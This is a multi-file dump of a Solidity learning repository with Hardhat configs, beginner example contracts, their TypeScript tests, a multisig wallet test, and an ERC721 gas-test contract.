-------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.8.7; 4 | 5 | contract FixedSizeArrays { 6 | uint256[3] public numbers = [1, 2, 3]; 7 | bytes1 public b1; 8 | bytes2 public b2; 9 | 10 | function setNumber(uint256 index, uint256 value) public { 11 | numbers[index] = value; 12 | } 13 | 14 | function getLength() public view returns (uint256) { 15 | return numbers.length; 16 | } 17 | 18 | function setB2(bytes2 value) public { 19 | b2 = value; 20 | } 21 | 22 | function initializeB2() public { 23 | b2 = "a"; 24 | } 25 | } 26 | 27 | contract DynamicArrays { 28 | uint256[] public numbers; 29 | 30 | function pushNumber(uint256 number) public { 31 | numbers.push(number); 32 | } 33 | 34 | function popNumber() public returns (uint256) { 35 | uint256 number = numbers[numbers.length - 1]; 36 | numbers.pop(); 37 | return number; 38 | } 39 | 40 | function getLength() public view returns (uint256) { 41 | return numbers.length; 42 | } 43 | 44 | function memoryArrayFunction() public pure returns (uint256[] memory) { 45 | uint256[] memory onMemoryArray = new uint256[](3); 46 | onMemoryArray[0] = 10; 47 | onMemoryArray[1] = 20; 48 | onMemoryArray[2] = 30; 49 | 50 | return onMemoryArray; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /misc/contracts/Auction.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.8.7; 4 | 5 | // Keys cannot be mappings, dynamic array, enum or struct 6 | // Values can be any type 7 | 8 | // Mappings are always saved in storage 9 | 10 | // Mappings are not iterable 11 | 12 | // Keys are not saved. Only the hashes 13 | 14 | // Unexisting key => default value of that type 15 | 16 | contract Auction { 17 | mapping(address => uint256) public bids; 18 | 19 | function bid() public payable { 20 | bids[msg.sender] += msg.value; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /misc/contracts/BooleanInteger.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.8.7; 4 | 5 | contract BooleanInteger { 6 | bool public sold; 7 | 8 | uint8 public x = 255; 9 | int8 public y = -10; 10 | 11 | function increase() public { 12 | x += 1; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /misc/contracts/BuiltInVars.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.8.7; 4 | 5 | import "hardhat/console.sol"; 6 | 7 | contract BuiltInVars { 8 | constructor() {} 9 | 10 | function printGlobals() public { 11 | console.log("gasleft"); 12 | console.log(gasleft()); 13 | console.log("this"); 14 | console.log(address(this)); 15 | console.log("block.timestamp"); 16 | console.log(block.timestamp); 17 | console.log("block.number"); 18 | console.log(block.number); 19 | console.log("block.difficulty"); 20 | console.log(block.difficulty); 21 | console.log("tx.gasprice"); 22 | console.log(tx.gasprice); 23 | } 24 | 25 | function countGas() public view returns (uint256) { 26 | uint256 start = gasleft(); 27 | uint256 j = 1235 * 127396; 28 | uint256 end = gasleft(); 29 | 30 | return start - end; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /misc/contracts/BytesAndStrings.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.8.7; 4 | 5 | contract BytesAndStrings { 6 | // String is like bytes but doesn't allow length and index access 7 | // Also cant add elements to string 8 | 9 | bytes public b1 = "some bytes"; // Use bytes for arbitrary length raw data 10 | string public s1 = "a string"; // Use string for arbitrary length utf8-encoded data 11 | 12 | function addElement() public { 13 | b1.push(0x99); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /misc/contracts/Deposit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.8.7; 4 | import "hardhat/console.sol"; 5 | 6 | contract Deposit { 7 | receive() external payable { 8 | console.log("Calling receive with value", msg.value); 9 | } 10 | 11 | fallback() external payable { 12 | console.log("Calling fallback", msg.value); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /misc/contracts/Property.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.8.7; 4 | 5 | contract Property { 6 | uint256 private price; 7 | string public location = "Street 123"; 8 | address public owner; 9 | uint256 immutable area; 10 | 11 | constructor(uint256 _price) { 12 | price = _price; 13 | owner = msg.sender; 14 | area = 20; 15 | } 16 | 17 | function setPrice(uint256 _price) public { 18 | price = _price; 19 | } 20 | 21 | function getPrice() public view returns (uint256) { 22 | return price; 23 | } 24 | 25 | function getInt() public pure returns (uint256) { 26 | uint256 x = 5; 27 | x = x * 2; 28 | return x; 29 | } 30 | 31 | function setLocation(string memory _location) public { 32 | location = _location; 33 | } 34 | 35 | function getString() public pure returns (string memory) { 36 | string memory x = "hi"; 37 | return x; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /misc/contracts/Structs.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.8.7; 4 | 5 | enum Specialty { 6 | JAVASCRIPT, 7 | SOLIDITY 8 | } 9 | 10 | struct Instructor { 11 | uint256 age; 12 | string name; 13 | address addr; 14 | Specialty specialty; 15 | } 16 | 17 | contract Academy { 18 | Instructor public academyInstructor; 19 | 20 | constructor(uint256 _age, string memory _name) { 21 | academyInstructor.age = _age; 22 | academyInstructor.name = _name; 23 | academyInstructor.addr = msg.sender; 24 | } 25 | 26 | function changeInstructor( 27 | uint256 _age, 28 | string memory _name, 29 | address _addr 30 | ) public { 31 | Instructor memory newInstructor = Instructor({ 32 | age: _age, 33 | name: _name, 34 | addr: _addr, 35 | specialty: Specialty.JAVASCRIPT 36 | }); 37 | 38 | academyInstructor = newInstructor; 39 | } 40 | } 41 | 42 | contract School { 43 | Instructor public schoolInstructor; 44 | } 45 | -------------------------------------------------------------------------------- /misc/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | 4 | import dotenv from 'dotenv' 5 | dotenv.config() 6 | 7 | // This is a sample Hardhat task. To learn how to create your own go to 8 | // https://hardhat.org/guides/create-task.html 9 | task("accounts", "Prints the list of accounts", async (args, hre) => { 10 | const accounts = await hre.ethers.getSigners(); 11 | 12 | for (const account of accounts) { 13 | console.log(await account.address); 14 | } 15 | }); 16 | 17 | // You need to export an object to set up your config 18 | // Go to https://hardhat.org/config/ to learn more 19 | 20 | export default { 21 | solidity: "0.8.7", 22 | networks: { 23 | ropsten: { 24 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 25 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 26 | }, 27 | }, 28 | }; 29 | -------------------------------------------------------------------------------- /misc/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "@nomiclabs/hardhat-ethers": "^2.0.2", 5 | "@nomiclabs/hardhat-waffle": "^2.0.1", 6 | "@types/chai": "^4.2.21", 7 | "@types/mocha": "^9.0.0", 8 | "@types/node": "^16.7.1", 9 | "chai": "^4.3.4", 10 | "dotenv": "^10.0.0", 11 | "ethereum-waffle": "^3.4.0", 12 | "ethers": "^5.4.5", 13 | "hardhat": "^2.6.1", 14 | "ts-node": "^10.2.1", 15 | "typescript": "^4.3.5" 16 | }, 17 | "dependencies": { 18 | "@openzeppelin/contracts": "^4.3.1", 19 | "openzeppelin-solidity": "^4.3.1" 20 | }, 21 | "scripts": { 22 | "test": "nodemon -e ts,sol --exec hh test" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /misc/scripts/deploy.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | 3 | async function main() { 4 | const [deployer] = await ethers.getSigners(); 5 | 6 | console.log("Deploying contracts with the account:", deployer.address); 7 | 8 | console.log("Account balance:", (await deployer.getBalance()).toString()); 9 | 10 | const factory = await ethers.getContractFactory("ArmanToken"); 11 | const contract = await factory.deploy(100000); 12 | 13 | console.log("Contract address:", contract.address); 14 | } 15 | 16 | main() 17 | .then(() => process.exit(0)) 18 | .catch((error) => { 19 | console.error(error); 20 | process.exit(1); 21 | }); 22 | -------------------------------------------------------------------------------- /misc/test/arrays_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import exp from "constants"; 4 | import { BigNumber, Contract } from "ethers"; 5 | import hre, { ethers } from "hardhat"; 6 | 7 | describe("FixedSizeArrays", function () { 8 | let contract: Contract; 9 | let signer: SignerWithAddress; 10 | 11 | beforeEach(async () => { 12 | // Deploy contact 13 | const factory = await ethers.getContractFactory("FixedSizeArrays"); 14 | contract = await factory.deploy(); 15 | await contract.deployed(); 16 | 17 | // Store signer 18 | signer = (await ethers.getSigners())[0]; 19 | }); 20 | 21 | describe("numbers array", function () { 22 | it("is initialized", async () => { 23 | console.log("numbers", await contract.numbers(0)); 24 | }); 25 | 26 | it("has getLength", async () => { 27 | expect(await contract.getLength()).to.eq(3); 28 | }); 29 | 30 | it("can set values", async () => { 31 | await contract.setNumber(0, 123); 32 | expect(await contract.numbers(0)).to.eq(123); 33 | }); 34 | 35 | it("has bytes array", async () => { 36 | await contract.setB2('0x1234') 37 | expect(await contract.b2()).to.eq('0x1234'); 38 | 39 | await contract.initializeB2(); 40 | expect(await contract.b2()).to.eq('0x6100'); 41 | }); 42 | }); 43 | }); 44 | 45 | 46 | describe("DynamicArrays", function () { 47 | let contract: Contract; 48 | let signer: SignerWithAddress; 49 | 50 | beforeEach(async () => { 51 | // Deploy contact 52 | const factory = await ethers.getContractFactory("DynamicArrays"); 53 | contract = await factory.deploy(); 54 | await contract.deployed(); 55 | 56 | // Store signer 57 | signer = (await ethers.getSigners())[0]; 58 | }); 59 | 60 | describe("numbers array", function () { 61 | it("can push numbers", async () => { 62 | await contract.pushNumber(99) 63 | const txn = await contract.numbers(0); 64 | console.log(txn) 65 | expect(txn).to.eq(99) 66 | expect(await contract.getLength()).to.eq(1) 67 | }); 68 | 69 | it("reverts when index out of bounds", async () => { 70 | expect(contract.numbers(10)).to.revertedWith('') 71 | }); 72 | 73 | it("can pop numbers", async () => { 74 | await contract.pushNumber(99) 75 | expect(await contract.getLength()).to.eq(1) 76 | const txn = await contract.popNumber(); 77 | expect(await contract.getLength()).to.eq(0) 78 | }); 79 | }); 80 | 81 | describe("memoryArrayFunction", function () { 82 | it("returns an array", async () => { 83 | // expect(await contract.memoryArrayFunction()).to.eq([10,20,30].map(n => BigNumber.from(n))) 84 | }); 85 | }); 86 | }); -------------------------------------------------------------------------------- /misc/test/auction_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("Auction", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Deploy contact 12 | const factory = await ethers.getContractFactory("Auction"); 13 | contract = await factory.deploy(); 14 | await contract.deployed(); 15 | 16 | // Store signer 17 | signer = (await ethers.getSigners())[0] 18 | }); 19 | 20 | describe("bids mapping", function () { 21 | it("gets the mapping", async () => { 22 | expect(await contract.bids(signer.address)).to.eq(0) 23 | }); 24 | }); 25 | 26 | describe("bid function", function () { 27 | it("adds to the signers bid", async () => { 28 | await contract.bid({value: 1000}) 29 | await contract.bid({value: 1000}) 30 | await contract.bid({value: 1000}) 31 | expect(await contract.bids(signer.address)).to.eq(3000) 32 | }); 33 | }); 34 | }); -------------------------------------------------------------------------------- /misc/test/boolean_integer_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("BooleanInteger", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Deploy contact 12 | const factory = await ethers.getContractFactory("BooleanInteger"); 13 | contract = await factory.deploy(); 14 | await contract.deployed(); 15 | 16 | // Store signer 17 | signer = (await ethers.getSigners())[0] 18 | }); 19 | 20 | describe("increase", function () { 21 | it("overflows", async () => { 22 | expect(contract.increase()).to.revertedWith('overflow') 23 | }); 24 | }); 25 | }); 26 | -------------------------------------------------------------------------------- /misc/test/built_in_vars_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("BuiltInVars", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Deploy contact 12 | const factory = await ethers.getContractFactory("BuiltInVars"); 13 | contract = await factory.deploy(); 14 | await contract.deployed(); 15 | 16 | // Store signer 17 | signer = (await ethers.getSigners())[0] 18 | }); 19 | 20 | describe("function", function () { 21 | it("prints globals", async () => { 22 | await contract.printGlobals() 23 | 24 | console.log(`Test gas consumption: ${await contract.countGas()}`) 25 | }); 26 | }); 27 | }); -------------------------------------------------------------------------------- /misc/test/bytes_string_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("BytesAndStrings", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Deploy contact 12 | const factory = await ethers.getContractFactory("BytesAndStrings"); 13 | contract = await factory.deploy(); 14 | await contract.deployed(); 15 | 16 | // Store signer 17 | signer = (await ethers.getSigners())[0] 18 | }); 19 | 20 | describe("init", function () { 21 | it("sets some values for b1 and s1", async () => { 22 | expect(await contract.s1()).to.eq('a string') 23 | expect(await contract.b1()).to.eq('0x736f6d65206279746573') 24 | await contract.addElement() 25 | expect(await contract.b1()).to.eq('0x736f6d6520627974657399') 26 | }); 27 | }); 28 | }); -------------------------------------------------------------------------------- /misc/test/deposit_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("Deposit", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Deploy contact 12 | const factory = await ethers.getContractFactory("Deposit"); 13 | contract = await factory.deploy(); 14 | await contract.deployed(); 15 | 16 | // Store signer 17 | signer = (await ethers.getSigners())[0] 18 | }); 19 | describe("", function () { 20 | it("", async () => { 21 | const tx = await signer.sendTransaction({to: contract.address, value: 1000}) 22 | console.log('gas limit', tx.gasLimit.toString()) 23 | const rec = await tx.wait() 24 | console.log(rec) 25 | console.log('gas used', rec.gasUsed.toString()) 26 | }); 27 | }); 28 | }); -------------------------------------------------------------------------------- /misc/test/property_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Deploy contact 12 | const factory = await ethers.getContractFactory("Property"); 13 | contract = await factory.deploy(100); 14 | await contract.deployed(); 15 | 16 | // Store signer 17 | signer = (await ethers.getSigners())[0] 18 | }); 19 | 20 | it("test", async () => { 21 | expect(await contract.getPrice()).to.eq(100) 22 | expect(await contract.location()).to.eq('Street 123') 23 | expect(await contract.getInt()).to.eq(10) 24 | 25 | await contract.setPrice(99) 26 | expect(await contract.getPrice()).to.eq(99) 27 | 28 | 29 | const tx = await contract.setLocation('New street') 30 | const receipt = await tx.wait() 31 | const gasUsed = receipt.gasUsed.toString() 32 | console.log({gasUsed}) 33 | expect(await contract.location()).to.eq('New street') 34 | 35 | expect(await contract.owner()).to.eq(signer.address) 36 | }); 37 | }); -------------------------------------------------------------------------------- /misc/test/structs_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("Academy", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | let otherSigner: SignerWithAddress; 10 | 11 | beforeEach(async () => { 12 | // Deploy contact 13 | const factory = await ethers.getContractFactory("Academy"); 14 | contract = await factory.deploy(29, 'Armando'); 15 | await contract.deployed(); 16 | 17 | // Store signer 18 | signer = (await ethers.getSigners())[0] 19 | otherSigner = (await ethers.getSigners())[1] 20 | }); 21 | 22 | describe("instructor", function () { 23 | it("returns the instructor", async () => { 24 | const instructor = await contract.academyInstructor(); 25 | expect(instructor.age).to.eq(29) 26 | expect(instructor.name).to.eq('Armando') 27 | expect(instructor.addr).to.eq(signer.address) 28 | expect(instructor.specialty).to.eq(0) 29 | }); 30 | }); 31 | 32 | describe("changeInstructor", function () { 33 | it("changes the instructor", async () => { 34 | await contract.changeInstructor(30, 'David', otherSigner.address) 35 | const instructor = await contract.academyInstructor(); 36 | 37 | expect(instructor.age).to.eq(30) 38 | expect(instructor.name).to.eq('David') 39 | expect(instructor.addr).to.eq(otherSigner.address) 40 | }); 41 | }); 42 | }); -------------------------------------------------------------------------------- /misc/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "esModuleInterop": true, 7 | "outDir": "dist" 8 | }, 9 | "include": ["./scripts", "./test"], 10 | "files": ["./hardhat.config.ts"] 11 | } 12 | -------------------------------------------------------------------------------- /multisig_wallet/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /multisig_wallet/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | typechain -------------------------------------------------------------------------------- /multisig_wallet/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 2, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /multisig_wallet/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { config as dotenvConfig } from "dotenv"; 2 | import "@typechain/hardhat"; 3 | import "@nomiclabs/hardhat-ethers"; 4 | import "@nomiclabs/hardhat-waffle"; 5 | import "@nomiclabs/hardhat-etherscan"; 6 | import "solidity-coverage"; 7 | import "hardhat-gas-reporter"; 8 | import { HardhatUserConfig } from "hardhat/types/config"; 9 | 10 | dotenvConfig(); 11 | 12 | const gasPrice = parseInt(process.env.GAS_PRICE || "1000000000"); 13 | 14 | const config: HardhatUserConfig = { 15 | solidity: { 16 | compilers: [ 17 | { 18 | version: "0.8.10", 19 | settings: { 20 | optimizer: { 21 | enabled: true, 22 | runs: 200, 23 | }, 24 | }, 25 | }, 26 | ], 27 | }, 28 | networks: { 29 | hardhat: { 30 | initialBaseFeePerGas: 0, 31 | }, 32 | rinkeby: { 33 | url: process.env.RINKEBY_URL || "", 34 | accounts: 35 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 36 | gasPrice, 37 | }, 38 | mainnet: { 39 | url: process.env.MAINNET_URL || "", 40 | accounts: 41 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 42 | gasPrice, 43 | }, 44 | }, 45 | gasReporter: { 46 | enabled: process.env.REPORT_GAS !== undefined, 47 | currency: "USD", 48 | gasPrice: 120, 49 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 50 | }, 51 | etherscan: { 52 | apiKey: process.env.ETHERSCAN_API_KEY, 53 | }, 54 | }; 55 | 56 | export default config; 57 | -------------------------------------------------------------------------------- /multisig_wallet/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "@openzeppelin/contracts": "^4.3.2" 5 | }, 6 | "devDependencies": { 7 | "@nomiclabs/hardhat-ethers": "^2.0.0", 8 | "@nomiclabs/hardhat-etherscan": "^2.1.3", 9 | "@nomiclabs/hardhat-waffle": "^2.0.0", 10 | "@typechain/ethers-v5": "^7.1.2", 11 | "@typechain/hardhat": "^2.3.0", 12 | "@types/chai": "^4.2.22", 13 | "@types/mocha": "^9.0.0", 14 | "@types/node": "^16.10.2", 15 | "@typescript-eslint/eslint-plugin": "^4.33.0", 16 | "@typescript-eslint/parser": "^4.33.0", 17 | "chai": "^4.2.0", 18 | "dotenv": "^10.0.0", 19 | "eslint": "^7.29.0", 20 | "eslint-config-prettier": "^8.3.0", 21 | "eslint-config-standard": "^16.0.3", 22 | "eslint-plugin-import": "^2.23.4", 23 | "eslint-plugin-node": "^11.1.0", 24 | "eslint-plugin-prettier": "^3.4.0", 25 | "eslint-plugin-promise": "^5.1.0", 26 | "ethereum-waffle": "^3.0.0", 27 | "ethers": "^5.0.0", 28 | "hardhat": "^2.6.4", 29 | "hardhat-gas-reporter": "^1.0.4", 30 | "keccak256": "^1.0.3", 31 | "merkletreejs": "^0.2.24", 32 | "prettier": "^2.3.2", 33 | "prettier-plugin-solidity": "^1.0.0-beta.13", 34 | "solhint": "^3.3.6", 35 | "solhint-plugin-prettier": "^0.0.5", 36 | "solidity-coverage": "^0.7.16", 37 | "ts-node": "^10.2.1", 38 | "typechain": "^5.1.2", 39 | "typescript": "^4.4.3" 40 | }, 41 | "scripts": { 42 | "test": "nodemon -e ts,sol --exec hh test" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /multisig_wallet/test/multisig_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { Contract } from "ethers"; 4 | import { ethers } from "hardhat"; 5 | import { MultiSig } from "../typechain"; 6 | 7 | describe("MultiSig", function () { 8 | let contract: MultiSig; 9 | let signer: SignerWithAddress; 10 | 11 | beforeEach(async () => { 12 | // Store signer 13 | signer = (await ethers.getSigners())[0]; 14 | 15 | // Deploy contact 16 | contract = await ( 17 | await ethers.getContractFactory("MultiSig") 18 | ).deploy([signer.address], 1); 19 | await contract.deployed(); 20 | }); 21 | 22 | describe("foo", function () { 23 | it("bar", async () => { 24 | console.log(await contract.getTransactionCount()); 25 | const tx = await contract.submitTransaction(signer.address, 0, "0x"); 26 | await tx.wait(); 27 | console.log(await contract.getTransaction(0)); 28 | }); 29 | }); 30 | }); 31 | -------------------------------------------------------------------------------- /multisig_wallet/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /multisig_wallet/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "noImplicitAny": true, 7 | "esModuleInterop": true, 8 | "resolveJsonModule": true, 9 | "useUnknownInCatchVariables": false, 10 | "outDir": "dist" 11 | }, 12 | "include": ["./scripts", "./test", "./typechain", "./helpers"], 13 | "files": ["./hardhat.config.ts"] 14 | } 15 | -------------------------------------------------------------------------------- /nft_gas_test/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /nft_gas_test/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | local 9 | scripts -------------------------------------------------------------------------------- /nft_gas_test/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 2, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /nft_gas_test/contracts/NFTest.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | /* 4 | Requirements: 5 | 6 | - Must receive eth in exchange for an ERC20 token 7 | - There is a recipient address that receives all incoming eth. 8 | - Exchange rate is fixed. 1 eth = 1000 tokens 9 | - Minimum investment is 0.01 eth and maximum is 5 eth. 10 | - The ICO hardcap is 300 eth. 11 | - An admin decides when the ICO starts and ends. 12 | - The ICO ends when the hardcap is reached or end time is reached. 13 | - The token will be tradeable only after a specific time set by the admin 14 | 15 | */ 16 | 17 | pragma solidity ^0.8.7; 18 | 19 | import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; 20 | 21 | contract NFTest is ERC721("Test", "TEST") { 22 | function mint(address to, uint256 tokenId) public { 23 | _mint(to, tokenId); 24 | } 25 | 26 | function transfer( 27 | address from, 28 | address to, 29 | uint256 tokenId 30 | ) public { 31 | _transfer(from, to, tokenId); 32 | } 33 | 34 | function mintWithMerkleProof( 35 | address to, 36 | uint256 tokenId, 37 | string[] calldata proof 38 | ) public { 39 | _mint(to, tokenId); 40 | _hashProof(proof); 41 | } 42 | 43 | function transferWithMerkleProof( 44 | address from, 45 | address to, 46 | uint256 tokenId, 47 | string[] calldata proof 48 | ) public { 49 | _hashProof(proof); 50 | _transfer(from, to, tokenId); 51 | } 52 | 53 | function _hashProof(string[] calldata proof) internal pure { 54 | for (uint256 index = 0; index < proof.length; index++) { 55 | keccak256(abi.encode(proof[index])); 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /nft_gas_test/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | import "hardhat-gas-reporter" 4 | import "hardhat-tracer" 5 | import "@atixlabs/hardhat-time-n-mine" 6 | import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions"; 7 | 8 | import dotenv from 'dotenv' 9 | dotenv.config() 10 | 11 | // This is a sample Hardhat task. To learn how to create your own go to 12 | // https://hardhat.org/guides/create-task.html 13 | task("accounts", "Prints the list of accounts", async (args, hre) => { 14 | const accounts = await hre.ethers.getSigners(); 15 | 16 | for (const account of accounts) { 17 | console.log(await account.address); 18 | } 19 | }); 20 | 21 | // You need to export an object to set up your config 22 | // Go to https://hardhat.org/config/ to learn more 23 | 24 | export default { 25 | solidity: { 26 | version: '0.8.7', 27 | settings: { 28 | outputSelection: { 29 | "*": { 30 | "*": ["storageLayout"], 31 | }, 32 | }, 33 | } 34 | }, 35 | networks: { 36 | ropsten: { 37 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 38 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 39 | }, 40 | }, 41 | }; 42 | -------------------------------------------------------------------------------- /nft_gas_test/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "solc": "0.8.7", 5 | "@nomiclabs/hardhat-ethers": "^2.0.2", 6 | "@nomiclabs/hardhat-waffle": "^2.0.1", 7 | "@types/chai": "^4.2.21", 8 | "@types/mocha": "^9.0.0", 9 | "@types/node": "^16.7.1", 10 | "chai": "^4.3.4", 11 | "dotenv": "^10.0.0", 12 | "ethereum-waffle": "^3.4.0", 13 | "ethers": "=5.4.5", 14 | "hardhat": "=2.6.4", 15 | "hardhat-gas-reporter": "^1.0.4", 16 | "prettier": "^2.4.1", 17 | "prettier-plugin-solidity": "^1.0.0-beta.18", 18 | "ts-node": "^10.2.1", 19 | "typescript": "^4.3.5" 20 | }, 21 